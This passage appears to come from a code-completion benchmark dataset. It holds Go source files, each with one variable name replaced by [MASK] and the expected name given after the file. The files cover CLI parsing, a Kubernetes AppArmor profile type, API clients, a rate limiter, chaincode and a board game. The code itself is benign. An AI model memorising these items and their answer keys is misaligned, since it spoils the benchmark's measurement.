reflect.Struct { if len(clop) != 0 { if newClop, b := c.parseSubcommandTag(clop, v, usage, sf.Name); b { c = newClop } } } if v.Kind() != reflect.Struct { def := Tag(sf.Tag).Get(""default"") def = strings.TrimSpace(def) if len(def) > 0 { if err := setDefaultValue(def, v); err != nil { return err } } if len(clop) == 0 && len(usage) == 0 { return nil } // 如果是存放version的字段 if strings.HasPrefix(clop, ""version="") { c.version = clop[8:] return nil } // 如果是存放about的字段 if strings.HasPrefix(clop, ""about="") { c.about = clop[6:] return nil } // clop 可以省略 if len(usage) > 0 { if len(clop) == 0 { lowerClop := strings.ToLower(sf.Name) clop = ""-"" + string(lowerClop[0]) if len(lowerClop) > 1 { clop = clop + "";--"" + lowerClop } } } return c.parseTagAndSetOption(clop, usage, def, sf.Name, v) } typ := v.Type() c.structAddr = v.Addr() for i := 0; i < v.NumField(); i++ { sf := typ.Field(i) if sf.PkgPath != """" && !sf.Anonymous { continue } //fmt.Printf(""my.index(%d)(1.%s)-->(2.%s)\n"", i, Tag(sf.Tag).Get(""clop""), Tag(sf.Tag).Get(""usage"")) //fmt.Printf(""stdlib.index(%d)(1.%s)-->(2.%s)\n"", i, sf.Tag.Get(""clop""), sf.Tag.Get(""usage"")) if err := c.registerCore(v.Field(i), sf); err != nil { return err } } return nil } var emptyField = reflect.StructField{} func (c *Clop) register(x interface{}) error { if x == nil { return ErrUnsupportedType } v := reflect.ValueOf(x) if v.Kind() != reflect.Ptr { return fmt.Errorf(""%s:got(%T)"", ErrNotPointerType, v.Type()) } // 如果v不是指针 v.IsNil()函数调用会崩溃,所以指针要放到前面判断 if v.IsNil() { return ErrUnsupportedType } c.allStruct[x] = struct{}{} return c.registerCore(v, emptyField) } func (c *Clop) parseOneOption(index *int) error { arg := c.args[*index] if len(arg) == 0 { return errors.New(""fail option"") } if arg[0] != '-' { if len(c.subcommand) > 0 { newClop, ok := c.subcommand[arg] // 子命令和args都是没有-号开头,没有设置env或args就当是没有注册过的子命令,直接报错 if !ok && len(c.envAndArgs) == 0 { return fmt.Errorf(""Unknown subcommand:%s"", arg) } c.getRoot().isSetSubcommand[arg] = struct{}{} if c.root == nil { c.currSubcommandFieldName = newClop.fieldName } newClop.args = c.args[*index+1:] c.args = c.args[0:0] err := newClop.bindStruct() if err != nil { return err } if newClop.subMain.IsValid() { newClop.subMain.Call([]reflect.Value{}) } } c.unparsedArgs = append(c.unparsedArgs, unparsedArg{arg: arg, index: *index}) return nil } // arg 必须是减号开头的字符串 numMinuses := 1 if arg == ""-"" { c.unparsedArgs = append(c.unparsedArgs, unparsedArg{arg: arg, index: *index}) return nil } if arg[1] == '-' { numMinuses++ } a := arg[numMinuses:] return c.getOptionAndSet(a, index, numMinuses) } // 设置环境变量 func (c *Clop) bindEnvAndArgs() error { for _, o := range c.envAndArgs { if err := o.setEnvAndArgs(c); err != nil { return err } } return nil } // bind结构体 func (c *Clop) bindStruct() error { for i := 0; i < len(c.args); i++ { if err := c.parseOneOption(&i); err != nil { return err } } return c.bindEnvAndArgs() } func (c *Clop) Bind(x interface{}) (err error) { defer func() { if err != nil { fmt.Fprintln(c.w, err) fmt.Fprintln(c.w, ""For more information try --help"") if c.exit { os.Exit(1) } } }() if err = c.register(x); err != nil { return err } if err = c.bindStruct(); err != nil { return err } if len(c.currSubcommandFieldName) > 0 { v := reflect.ValueOf(x) v = v.Elem() // x只能是指针,已经在c.register判断过了 v = v.FieldByName(c.currSubcommandFieldName) // 只有设置过的子命令才需要数据校验 // 这里把root结构体删除掉 delete(c.allStruct, x) x = v.Addr().Interface() } c.allStruct[x] = struct{}{} for x := range c.allStruct { err = valid.ValidateStruct(x) if err != nil { errs := err.(validator.ValidationErrors) for _, e := range errs { // can translate each error one at a time. return errors.New(e.Translate(valid.trans)) } } } return err } // MustBind 和Bind函数类似, 出错直接panic func (c *Clop) MustBind(x interface{}) { if err := c.Bind(x); err != nil { panic(err.Error()) } } // 只注册结构体信息, 不解析 func (c *Clop) Register(x interface{}) error { return c.register(x) } // 打印帮助信息 func Usage() { CommandLine.Usage() } func MustRegister(x interface{}) { err := CommandLine.Register(x) if err != nil { panic(err.Error()) } } // Bind接口, 包含以下功能 // 结构体字段注册 // 命令行解析 func Bind(x interface{}) error { CommandLine.SetProcName(os.Args[0]) return CommandLine.Bind(x) } // 设置版本号 func SetVersion(version string) { CommandLine.SetVersion(version) } // 设置版本号选项,覆盖默认的V和Version func SetVersionOption(short, long string) { CommandLine.SetVersionOption(short, long) } func SetAbout(about string) { CommandLine.SetAbout(about) } // Bind必须成功的版本 func MustBind(x interface{}) { CommandLine.SetProcName(os.Args[0]) CommandLine.MustBind(x) } func IsSetSubcommand(subcommand string) bool { return CommandLine.IsSetSubcommand(subcommand) } func GetIndex(optName string) uint64 { return CommandLine.GetIndex(optName) } var CommandLine = New(os.Args[1:]) ",oneArgs 343,"/* Copyright 2021 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package v1alpha1 import ( ""context"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""sigs.k8s.io/controller-runtime/pkg/client"" profilebasev1alpha1 ""sigs.k8s.io/security-profiles-operator/api/profilebase/v1alpha1"" ) var ( // Ensure AppArmorProfile implements the StatusBaseUser and SecurityProfileBase interfaces. _ profilebasev1alpha1.StatusBaseUser = &AppArmorProfile{} _ profilebasev1alpha1.SecurityProfileBase = &AppArmorProfile{} ) // AppArmorProfileSpec defines the desired state of AppArmorProfile. type AppArmorProfileSpec struct { Policy string `json:""policy,omitempty""` } // AppArmorProfileStatus defines the observed state of AppArmorProfile. type AppArmorProfileStatus struct { profilebasev1alpha1.StatusBase `json:"",inline""` } // +kubebuilder:object:root=true // AppArmorProfile is a cluster level specification for an AppArmor profile. // +kubebuilder:resource:shortName=aa // +kubebuilder:subresource:status // +kubebuilder:printcolumn:name=""Status"",type=""string"",JSONPath=`.status.status` type AppArmorProfile struct { metav1.TypeMeta `json:"",inline""` metav1.ObjectMeta `json:""metadata,omitempty""` Spec AppArmorProfileSpec `json:""spec,omitempty""` Status AppArmorProfileStatus `json:""status,omitempty""` } func (sp *AppArmorProfile) GetStatusBase() *profilebasev1alpha1.StatusBase { return &sp.Status.StatusBase } func (sp *AppArmorProfile) DeepCopyToStatusBaseIf() profilebasev1alpha1.StatusBaseUser { return sp.DeepCopy() } func (sp *AppArmorProfile) SetImplementationStatus() { } func (sp *AppArmorProfile) ListProfilesByRecording( ctx context.Context, cli client.Client, [MASK] string, ) ([]metav1.Object, error) { return profilebasev1alpha1.ListProfilesByRecording(ctx, cli, [MASK] , sp.Namespace, &AppArmorProfileList{}) } func (sp *AppArmorProfile) IsPartial() bool { return profilebasev1alpha1.IsPartial(sp) } // +kubebuilder:object:root=true // AppArmorProfileList contains a list of AppArmorProfile. type AppArmorProfileList struct { metav1.TypeMeta `json:"",inline""` metav1.ListMeta `json:""metadata,omitempty""` Items []AppArmorProfile `json:""items""` } func init() { //nolint:gochecknoinits // required to init the scheme SchemeBuilder.Register(&AppArmorProfile{}, &AppArmorProfileList{}) } func (sp *AppArmorProfile) GetProfileName() string { return sp.GetName() } ",recording 344,"// Package client is responsible for client communication package client import ( ""context"" ""encoding/json"" ""fmt"" ""strings"" ""github.com/threefoldtech/zbus"" ) // FarmerbotClient for interacting with the farmerbot type FarmerbotClient struct { zBusClient zbus.Client version zbus.Version } // NewFarmerClient creates a new client func NewFarmerClient(zBusClient zbus.Client) *FarmerbotClient { return &FarmerbotClient{ zBusClient: zBusClient, version: ""1.0.0"", } } // Call calls a specific cmd with its date and returns the result func (f *FarmerbotClient) Call(ctx context.Context, fn string, data []interface{}, result interface{}) error { payload, err := json.Marshal(data) if err != nil { return fmt.Errorf(""failed to serialize request body with error: %v"", err) } cmd := strings.Split(fn, ""."") if len(cmd) != 3 { return fmt.Errorf(""invalid command length %s"", cmd) } if cmd[0] != ""farmerbot"" { return fmt.Errorf(""invalid command parent %s"", cmd) } if cmd[1] != ""farmmanager"" && cmd[1] != ""powermanager"" && cmd[1] != ""nodemanager"" { return fmt.Errorf(""invalid command sub parent %s"", cmd) } output, err := f.zBusClient.RequestContext(ctx, cmd[0], zbus.ObjectID{ Name: cmd[1], Version: f.version, }, cmd[2], data...) if err != nil { return fmt.Errorf(""invalid request %v, with data: %v"", cmd, payload) } if output.Output.Error != nil { return output.Output.Error } if len(output.Output.Data) == 0 { return nil } [MASK] := zbus.Loader{ &result, } return output.Unmarshal(& [MASK] ) } ",loader 345,"package cmd import ( ""fmt"" ""github.com/spf13/cobra"" ""gostandup/model"" ""gostandup/persist"" ) // createCmd represents the create command var createCmd = &cobra.Command{ Use: `create unique Key client Name`, Args: cobra.ExactArgs(2), Short: ""Creates a new client"", Long: `Creates a new client, gostandup client create unique Key for the new client for the new client Example: gostandup client create KEY01 ACME`, Run: func(cmd *cobra.Command, args []string) { createClient(*cmd, args) }, } func init() { clientCmd.AddCommand(createCmd) } func createClient(cmd cobra.Command, args []string) { if len(args) != 2 { cmd.Usage() return } [MASK] := args[0] name := args[1] c := model.Client{ Key: [MASK] , Name: name, } success, err := persist.AppendClient(c) if success { fmt.Printf(""Created Client as %s. "", c.String()) } else { fmt.Println(err.Error()) } } ",key 346,"package main import ( ""GoVM/chapter6-obj/heap"" ""GoVM/chapter4-rtdt"" ""GoVM/chapter2-class/classpath"" ""GoVM/chapter5-instructions/base"" ""GoVM/chapter5-instructions"" ""strings"" ""fmt"" ) type JVM struct { cmd *Cmd classLoader *heap.ClassLoader mainThread *chapter4_rtdt.Thread } func newJVM(cmd *Cmd) *JVM { cp := classpath.Parse(cmd.XjreOption, cmd.cpOption) classLoader := heap.NewClassLoader(cp, cmd.verboseClassFlag) return &JVM{ cmd: cmd, classLoader: classLoader, mainThread: chapter4_rtdt.NewThread(), } } func (self *JVM) start() { self.initVM() self.execMain() } func (self *JVM) initVM() { [MASK] := self.classLoader.LoadClass(""sun/misc/VM"") base.InitClass(self.mainThread, [MASK] ) chapter5_instructions.Interpret(self.mainThread, self.cmd.verboseInstFlag) } func (self *JVM) execMain() { className := strings.Replace(self.cmd.class, ""."", ""/"", -1) mainClass := self.classLoader.LoadClass(className) mainMethd := mainClass.GetMainMethod() if mainMethd == nil { fmt.Printf(""Main method not found in class %s \n"", self.cmd.class) return } argsArr := self.createArgsArray() frame := self.mainThread.NewFrame(mainMethd) frame.LocalVars().SetRef(0, argsArr) self.mainThread.PushFrame(frame) chapter5_instructions.Interpret(self.mainThread, self.cmd.verboseInstFlag) } func (self *JVM) createArgsArray() *heap.Object { stringClass := self.classLoader.LoadClass(""java/lang/String"") argsLen := uint(len(self.cmd.args)) argsArr := stringClass.ArrayClass().NewArray(argsLen) jArgs := argsArr.Refs() for i, arg := range self.cmd.args { jArgs[i] = heap.JString(self.classLoader, arg) } return argsArr }",vmClass 347,"package incidentio import ( ""context"" ""net/http"" ) // CustomFieldsService handles communication with the custom fields related methods. type CustomFieldsService struct { client *Client } // CustomField represents a custom field in Incident.io. type CustomField struct { ID string `json:""id""` Name string `json:""name""` Description string `json:""description""` FieldType string `json:""field_type""` Options []struct { ID string `json:""id""` Value string `json:""value""` Label string `json:""label""` } `json:""options,omitempty""` Required bool `json:""required""` CreatedAt Timestamp `json:""created_at""` UpdatedAt Timestamp `json:""updated_at""` } // List returns a list of custom fields. func (s *CustomFieldsService) List(ctx context.Context) ([]*CustomField, *http.Response, error) { u := ""v2/custom_fields"" req, err := s.client.NewRequest(""GET"", u, nil) if err != nil { return nil, nil, err } var [MASK] struct { CustomFields []*CustomField `json:""custom_fields""` } resp, err := s.client.Do(ctx, req, & [MASK] ) if err != nil { return nil, resp, err } return [MASK] .CustomFields, resp, nil } ",result 348,"/* 动态加载配置文件, 需要继承DLoad来实现自己的热文件加载类 2016-03-15 @aosen */ package goutils import ""sync"" const ( BUF0 = 0 BUF1 = 1 ) type DLoad struct { buf0 interface{} buf1 interface{} state int32 //0 使用0 1 使用1 locker *sync.Mutex } func NewDLoad() *DLoad { return &DLoad{ //默认使用one state: 0, locker: new(sync.Mutex), } } func (self *DLoad) getState() int32 { return self.state } //如果state为0 则设置为1 如果为1则设置为0 func (self *DLoad) setState(s int32) { self.state = s } //动态加载配置文件æ¹法 func (self *DLoad) Load(filename string, fn func(string) (interface{}, error)) error { self.locker.Lock() defer self.locker.Unlock() [MASK] , err := fn(filename) if err != nil { return err } if self.getState() == BUF0 { self.buf1 = [MASK] self.setState(BUF1) } else if self.getState() == BUF1 { self.buf0 = [MASK] self.setState(BUF0) } return nil } //获取配置文件中的map func (self *DLoad) Get() interface{} { if self.getState() == BUF0 { return self.buf0 } else if self.getState() == BUF1 { return self.buf1 } else { return self.buf0 } } ",tmp 349,"package leaky import ( ""encoding/binary"" ""errors"" ""fmt"" ""io"" ""sync"" ""time"" ) // ErrBucketFull represents an error indicating that a bucket is full or would overflow. var ErrBucketFull = errors.New(""leaky: bucket full or would overflow"") // Bucket represents a leaky bucket implementation for rate limiting or throttling. type Bucket struct { DrainBy int64 DrainInterval time.Duration Capacity int64 // OverflowLimit configures how much an Add operation can overflow if the bucket is under // capacity, but would be exceeded during the Add. For example, a bucket with a capacity // of 100 is already at 90 - if OverflowLimit is set to 10, an Add of up to 20 would be // allowed. If the Add was 15, the bucket would be at 105 and deny future Adds until the // bucket has capacity again. // // Defaults to zero, providing a hard limit for the bucket. OverflowLimit int64 value int64 lastDrain time.Time lock sync.Mutex } // NewBucket creates a new Bucket with the given drainBy, drainEvery, and capacity parameters. // It returns an error if any of the parameters are invalid. // // Example usage: // // bucket, err := NewBucket(5, 1 * time.Minute, 300) // // Parameters: // // drainBy - the amount to drain the bucket by each drain interval // drainEvery - the duration between each drain interval // capacity - the maximum capacity the bucket can hold // // Return values: // // *Bucket - the created Bucket instance // error - error message if any of the parameters are invalid func NewBucket(drainBy int64, drainEvery time.Duration, capacity int64) (*Bucket, error) { if drainBy <= 0 || drainEvery <= 0 { return nil, errors.New(""leaky: bucket never drains"") } if capacity <= 0 { return nil, errors.New(""leaky: bucket can never fill"") } return &Bucket{ DrainBy: drainBy, DrainInterval: drainEvery, Capacity: capacity, value: 0, lastDrain: time.Now(), lock: sync.Mutex{}, }, nil } // DecodeBucket produces a Bucket from a previous Encode operation. // It returns an error if any read operation fails. Read operations are performed sequentially rather // than atomically. If an error occurs, partial data may remain on the reader. // // Example usage: // // buf := bytes.NewBuffer(myEncodedData) // if bucket, err := leaky.DecodeBucket(buf); err != nil { // log.Fatal(err) // } else { // // Use the decoded `bucket` // } // // Parameters: // // r - an io.Reader interface from which the binary data will be read // // Return values: // // *Bucket - the Bucket instance decoded from the binary data in r // error - error message if any errors occurred during reading or decoding func DecodeBucket(r io.Reader) (*Bucket, error) { bucket := &Bucket{} bucket.lock.Lock() defer bucket.lock.Unlock() // Check format version format := int32(0) if err := binary.Read(r, binary.BigEndian, &format); err != nil { return nil, errors.Join(errors.New(""leaky: unable to read format version""), err) } if format != 1 { return nil, fmt.Errorf(""leaky: unsupported format version %d"", format) } // Read fields in write order if err := binary.Read(r, binary.BigEndian, &bucket.DrainBy); err != nil { return nil, errors.Join(errors.New(""leaky: unable to read `DrainBy`""), err) } if err := binary.Read(r, binary.BigEndian, &bucket.DrainInterval); err != nil { return nil, errors.Join(errors.New(""leaky: unable to read `DrainInterval`""), err) } if err := binary.Read(r, binary.BigEndian, &bucket.Capacity); err != nil { return nil, errors.Join(errors.New(""leaky: unable to read `Capacity`""), err) } if err := binary.Read(r, binary.BigEndian, &bucket.value); err != nil { return nil, errors.Join(errors.New(""leaky: unable to read `value`""), err) } [MASK] := int32(0) if err := binary.Read(r, binary.BigEndian, & [MASK] ); err != nil { return nil, errors.Join(errors.New(""leaky: unable to read size of `lastDrain`""), err) } timestampBytes := make([]byte, [MASK] ) if c, err := r.Read(timestampBytes); err != nil { return nil, errors.Join(errors.New(""leaky: unable to read `lastDrain`""), err) } else if int32(c) != [MASK] { return nil, errors.New(""leaky: did not read entire timestamp"") } if err := bucket.lastDrain.UnmarshalBinary(timestampBytes); err != nil { return nil, errors.Join(errors.New(""leaky: unable to unmarshal `lastDrain`""), err) } if err := binary.Read(r, binary.BigEndian, &bucket.OverflowLimit); err != nil { return nil, errors.Join(errors.New(""leaky: unable to read `OverflowLimit`""), err) } return bucket, nil } // Encode writes the bucket's state to the provided io.Writer. // It returns an error if any writing operation fails. Write operations are performed sequentially rather // than atomically. If an error occurs, partial data may be written to the writer. // // Example usage: // // buf := &bytes.Buffer{} // if err := bucket.Encode(buf); err != nil { // log.Fatal(err) // } // // Use the encoded data stored in `buf` as needed. // // Parameters: // // w - an io.Writer interface to which the binary data will be written // // Return values: // // error - error message if any errors occurred during writing or encoding func (b *Bucket) Encode(w io.Writer) error { b.lock.Lock() defer b.lock.Unlock() // Format version if err := binary.Write(w, binary.BigEndian, int32(1)); err != nil { return errors.Join(errors.New(""leaky: unable to write format version""), err) } // Fields, ordered if err := binary.Write(w, binary.BigEndian, b.DrainBy); err != nil { return errors.Join(errors.New(""leaky: unable to write `DrainBy`""), err) } if err := binary.Write(w, binary.BigEndian, b.DrainInterval); err != nil { return errors.Join(errors.New(""leaky: unable to write `DrainInterval`""), err) } if err := binary.Write(w, binary.BigEndian, b.Capacity); err != nil { return errors.Join(errors.New(""leaky: unable to write `Capacity`""), err) } if err := binary.Write(w, binary.BigEndian, b.value); err != nil { return errors.Join(errors.New(""leaky: unable to write `value`""), err) } if timestampBytes, err := b.lastDrain.MarshalBinary(); err != nil { return errors.Join(errors.New(""leaky: unable to marshal `lastDrain`""), err) } else { if err := binary.Write(w, binary.BigEndian, int32(len(timestampBytes))); err != nil { return errors.Join(errors.New(""leaky: unable to write length of `lastDrain`""), err) } if _, err := w.Write(timestampBytes); err != nil { return errors.Join(errors.New(""leaky: unable to write `lastDrain`""), err) } } if err := binary.Write(w, binary.BigEndian, b.OverflowLimit); err != nil { return errors.Join(errors.New(""leaky: unable to write `OverflowLimit`""), err) } return nil } // drain updates the value of the bucket by subtracting the drained amount based on the elapsed time since the last drain. // If the bucket is already empty, it does nothing. // // If the bucket has never been drained before, it sets the last drain time as the current time. // If the bucket value is zero or negative after the drain, it sets the value to zero and updates the last drain time. // // The elapsed time since the last drain is calculated by subtracting the last drain time from the current time. // The elapsed time is truncated to the nearest multiple of the drain interval. // The number of leaks is then calculated by dividing the elapsed time by the drain interval. // The drained amount is calculated by multiplying the drain by the number of leaks. // The bucket value is updated by subtracting the drained amount. // If the bucket value becomes negative, it is set to zero. // // Finally, the last drain time is updated to the current time minus the remaining elapsed time (since - drainTime). func (b *Bucket) drain() { b.lock.Lock() defer b.lock.Unlock() if b.lastDrain.IsZero() { b.lastDrain = time.Now() // assume we've never drained } if b.value <= 0 { b.value = 0 b.lastDrain = time.Now() return // nothing to drain, so don't bother } since := time.Since(b.lastDrain) drainTime := since.Truncate(b.DrainInterval) leaks := int64(drainTime.Abs() / b.DrainInterval.Abs()) b.value -= b.DrainBy * leaks if b.value < 0 { b.value = 0 } b.lastDrain = time.Now().Add((since - drainTime) * -1) } // Peek returns the current value of the bucket without performing any drain. func (b *Bucket) Peek() int64 { return b.value } // Value returns the current value of the bucket after performing a drain operation. func (b *Bucket) Value() int64 { b.drain() return b.value } // Remaining returns the remaining capacity of the Bucket. // It first applies the drain operation to update the bucket's internal value. // The remaining capacity is calculated by subtracting the current value from the Capacity. // This method does not modify the bucket's internal value. // // Note that this may return a negative number if OverflowLimit is set. // // Returns the remaining capacity as an int64 value. func (b *Bucket) Remaining() int64 { b.drain() return b.Capacity - b.value } // Add increments the value of the Bucket by the specified amount. // If the new value would exceed Capacity, ErrBucketFull is returned without modifying the bucket's // internal value. Otherwise, the amount is added to the bucket atomically. In either case, a drain // operation is performed before checking the capacity. // // The amount may be negative to drain the bucket instead. ErrBucketFull will not be raised when // draining. Note that when negative the bucket may additionally drain on its own. For example, if // 1 drain operation is expected due to the timer, that will happen before the negative amount is // applied. // // Returns nil if successful. // // Parameters: // // amount - the amount by which the bucket's value will be incremented // // Return values: // // error - ErrBucketFull if the new value would exceed the capacity, otherwise nil func (b *Bucket) Add(amount int64) error { b.drain() // always drain first if amount == 0 { return nil // optimization } b.lock.Lock() defer b.lock.Unlock() newValue := b.value + amount if newValue < 0 { newValue = 0 } // Only check capacity if we're heading towards the upper limit if amount > 0 { // Are we already over capacity? Error if so. if b.value > b.Capacity { return ErrBucketFull } // Are we about to overflow beyond what we're allowed to? Error if so. if newValue > (b.Capacity + b.OverflowLimit) { return ErrBucketFull } } b.value = newValue return nil } // Drain reduces the value of the bucket by the specified amount. // It is equivalent to calling Add with a negative amount. // If the resulting value is below 0, it is set to 0. // // See the Add documentation with a negative amount for more details. // // Parameters: // // amount - the amount to drain from the bucket // // Return values: // // error - an error message if the drain operation fails func (b *Bucket) Drain(amount int64) error { return b.Add(-amount) } // Set sets the value of the Bucket. // The value must be positive or zero, and within capacity for the bucket. An error is returned otherwise. // This is an atomic operation, and resets the drain time. // // Parameters: // // value - the value to set the bucket to // // Return values: // // error - error message if the value is invalid func (b *Bucket) Set(value int64) error { if value < 0 { return errors.New(""leaky: bucket value cannot be negative"") } if value > b.Capacity { return errors.New(""leaky: bucket value cannot exceed capacity"") } b.lock.Lock() defer b.lock.Unlock() b.value = value b.lastDrain = time.Now() return nil } ",timestampSize 350,"package main import ( ""bufio"" ""fmt"" ""math/rand"" ""os"" ""strconv"" ""strings"" ""github.com/typio/gonet"" ) // dataToArray processes the text file func dataToArray(path string) ([][]float64, [][]float64) { file, _ := os.Open(path) defer file.Close() var [MASK] []string scanner := bufio.NewScanner(file) for scanner.Scan() { [MASK] = append( [MASK] , scanner.Text()) } dataInputs := make([][]float64, len( [MASK] )) dataTargets := make([][]float64, len( [MASK] )) var s []string labels := map[string]float64{""Iris-setosa"": 0, ""Iris-versicolor"": 1 /*, ""Iris-virginica"": 1*/} for i := 0; i < len( [MASK] ); i++ { s = strings.Split( [MASK] [i], "","") dataInputs[i] = make([]float64, len(s)-1) dataTargets[i] = make([]float64, 1) for j := 0; j < len(s)-1; j++ { n, _ := strconv.ParseFloat(s[j], 64) dataInputs[i][j] = n } dataTargets[i][0] = labels[s[len(s)-1]] } return dataInputs, dataTargets } func main() { // create 2 2D slices dataInputs, dataTargets := dataToArray(""./dataShort.txt"") // Instantiate nn nn := gonet.NewNN(4, 4, 1) // Train 100000 times for i := 0; i < 100000; i++ { // select data to train on at random rIdx := rand.Intn(100) inputs := gonet.FromArray(dataInputs[rIdx]) targets := gonet.FromArray(dataTargets[rIdx]) // feed selected input and its target into nn nn.Train(inputs, targets) } // Predict on a Iris-setosa (0) fmt.Printf(""Should output 0, ouput: %f\n"", nn.Predict(gonet.FromArray(dataInputs[0]))) // Predict on a Iris-versicolor (1) fmt.Printf(""Should output 1, ouput: %f\n"", nn.Predict(gonet.FromArray(dataInputs[50]))) } ",lines 351,"package main import ( ""fmt"" ""github.com/hyperledger/fabric-contract-api-go/contractapi"" ) // SmartContract provides functions for managing the product lifecycle type SmartContract struct { contractapi.Contract } // Product describes the details of the product in the supply chain type Product struct { ProductID string `json:""productID""` Name string `json:""name""` Description string `json:""description""` ManufacturingDate string `json:""manufacturingDate""` BatchNumber string `json:""batchNumber""` Status string `json:""status""` SupplyDate string `json:""supplyDate,omitempty""` WarehouseLocation string `json:""warehouseLocation,omitempty""` WholesaleDate string `json:""wholesaleDate,omitempty""` WholesaleLocation string `json:""wholesaleLocation,omitempty""` Quantity int `json:""quantity,omitempty""` } // InitLedger initializes the ledger with some sample products func (s *SmartContract) InitLedger(ctx contractapi.TransactionContextInterface) error { initialProducts := []Product{ { ProductID: ""P001"", Name: ""Product1"", Description: ""Description for Product1"", ManufacturingDate: ""2023-09-25"", BatchNumber: ""B001"", Status: ""Created"", }, { ProductID: ""P002"", Name: ""Product2"", Description: ""Description for Product2"", ManufacturingDate: ""2023-09-26"", BatchNumber: ""B002"", Status: ""Created"", }, } for _, product := range initialProducts { if err := putState(ctx, product.ProductID, product); err != nil { return fmt.Errorf(""failed to initialize ledger for product %s: %w"", product.ProductID, err) } } return nil } func main() { [MASK] , err := contractapi.NewChaincode(&SmartContract{}) if err != nil { fmt.Printf(""Error creating supply chain smart contract: %s\n"", err.Error()) return } if err := [MASK] .Start(); err != nil { fmt.Printf(""Error starting supply chain smart contract: %s\n"", err.Error()) } } ",chaincode 352,"package postgres import ( ""context"" ""log"" ""os"" ""github.com/albertojnk/calendar/environment"" ""github.com/go-pg/pg/v10"" ""github.com/jackc/pgx/v5/pgxpool"" ""github.com/sirupsen/logrus"" ) var dbPool *pgxpool.Pool func InitDB() *pgxpool.Pool { [MASK] , err := pg.ParseURL(environment.PostgresURLConn) if err != nil { log.Fatal(""InitPostgreDB :: error connecting Postgres DB"", err) } if [MASK] .ApplicationName == """" { if [MASK] .ApplicationName, err = os.Hostname(); err != nil { logrus.Info(""Error on get hostname generating : err"", err) } if [MASK] .ApplicationName == """" { [MASK] .ApplicationName = ""NoHostAvailable"" } } dbPool, err = pgxpool.New(context.Background(), environment.PostgresURLConn) if err != nil { log.Fatalf(""Unable to connect to database: %v"", err) } return dbPool } func GetDBX() *pgxpool.Pool { if !isPgValid() { dbPool = InitDB() if !isPgValid() { logrus.Info(""GetPgConn :: isPgValid returned false"") } } return dbPool } func ClosePgXConn() { if dbPool == nil { logrus.Info(""ClosePgConn :: nil pointer of postgress connection"") return } logrus.Info(""ClosePgConn :: closing postgress connection"") dbPool.Close() dbPool = nil } ",urlOptions 353,"package dvonn import ( ""log"" ) type DvonnBoard struct { cells map[string]*HexNode } func GetDvonnBoard() *DvonnBoard { return &DvonnBoard{initializeBoard()} } func initializeBoard() map[string]*HexNode { var cells = make(map[string]*HexNode) ids := getBoardCellsIds() for _, id := range ids { cells[id] = GetHexNode(id) } connectCells(cells) return cells } func getBoardCellsIds() []string { return []string{""a1"", ""a2"", ""a3"", ""b1"", ""b2"", ""b3"", ""b4"", ""c1"", ""c2"", ""c3"", ""c4"", ""c5"", ""d1"", ""d2"", ""d3"", ""d4"", ""d5"", ""e1"", ""e2"", ""e3"", ""e4"", ""e5"", ""f1"", ""f2"", ""f3"", ""f4"", ""f5"", ""g1"", ""g2"", ""g3"", ""g4"", ""g5"", ""h1"", ""h2"", ""h3"", ""h4"", ""h5"", ""i1"", ""i2"", ""i3"", ""i4"", ""i5"", ""j2"", ""j3"", ""j4"", ""j5"", ""k3"", ""k4"", ""k5""} } /* NOTE: This method returns the cells on the board, however we should not be using this method coz, anything which we need to query on the cells should be written as a method in this class */ func (db *DvonnBoard) GetCells() map[string]*HexNode { return db.cells } func getNodesIdentifiers(nodes []*HexNode) []string { res := make([]string, 0) for _, node := range nodes { res = append(res, node.GetIdentifier()) } return res } /* Adds a stack of chips to the box whose id is passed NOTE: we shouldn't add extra logic here, like if game in placement phase then don't allow filling multiple chips on stack, etc. This should be taken care by the implementer of this method or should be taken care at root level. */ func (db *DvonnBoard) Fill(id string, chips []Chip) { if node, ok := db.cells[id]; ok { node.AddChips(chips) } else { log.Fatal(""[DvonnBoard.Fill()] wrong identifier passed while adding chip to board, id: "", id) } } /* Removes all chips from the Box whose id is passed */ func (db *DvonnBoard) DeFill(id string) { if node, ok := db.cells[id]; ok { node.Empty() } else { log.Fatal(""[DvonnBoard.DeFill()] wrong identifier passed while removing chip from board, id: "", id) } } func (db *DvonnBoard) IsPlaceVacant( [MASK] string) bool { if val, ok := db.cells[ [MASK] ]; ok { return val.IsEmpty() } // TODO: put it as some error code || have a common method for this which can be called by other method log.Fatal(""[DvonnBoard.IsPlaceVacant()] wrong identifier passed, id: "", [MASK] ) return false } func (db *DvonnBoard) GetBoardSnapshot() { // TODO: implement it } /* Returns the identifiers of hexagonal nodes where a red chip is placed Solution: Iterates over all the board cells and check if red chip is present in chip stack. Another alternative could be storing a list of ids for red chip addresses at the time Fill is called but if we go with later approach we will need to add extra piece of code in Fill() method which will violate single responsibility principle. So writing a extra method below. */ // TODO: write testcase func (db *DvonnBoard) GetRedChipsIds() []string { res := make([]string, 0) for id, node := range db.cells { if node.HasRedChips() { res = append(res, id) } } if len(res) > 3 { log.Fatal(""[DvonnBoard.getRedChipsId()]can not have more than 3 red chips in a game, please check the issue"") } return res } func (db *DvonnBoard) GetCellIdsByStackColor(color ChipColor) []string { res := make([]string, 0) for id, node := range db.cells { topChip, err := node.GetTopChips() // there can be cases when board cell will be empty, handling that case by continuing the loop if err != nil { continue } if topChip.GetColor() == color { res = append(res, id) } } return res } func (db *DvonnBoard) GetCountOfPiecesControlledBy(color ChipColor) int { controlledIds := db.GetCellIdsByStackColor(color) count := 0 for _, id := range controlledIds { count += db.GetCells()[id].GetStackLength() } return count } /* Returns cells which are not connected to the red chip Node by any link, if all are connected, then returns nil Solution: - Get all the nodes where red chip are placed - Traverse from each of the above node where red chip is placed and store the visited node id - The ids which aren't visited will be the disconnected nodes */ func (db *DvonnBoard) GetDisconnectedCells() []string { redChipIds := db.GetRedChipsIds() visitedCells := GetSet() for _, nodeId := range redChipIds { visitedCells.AddMultiS(getNodesIdentifiers(db.traverseConnectedNodes(db.cells[nodeId]))) if visitedCells.Size() == 49 { // if from one cell we could visit all nodes, then all cells are connected for sure return nil } } if visitedCells.Size() < 49 { // cells are disconnected cells := GetSet() cells.AddMultiS(getBoardCellsIds()) return cells.DifferenceS(visitedCells) } return nil } /* for storing result to a mutable type, coz I was facing issue while 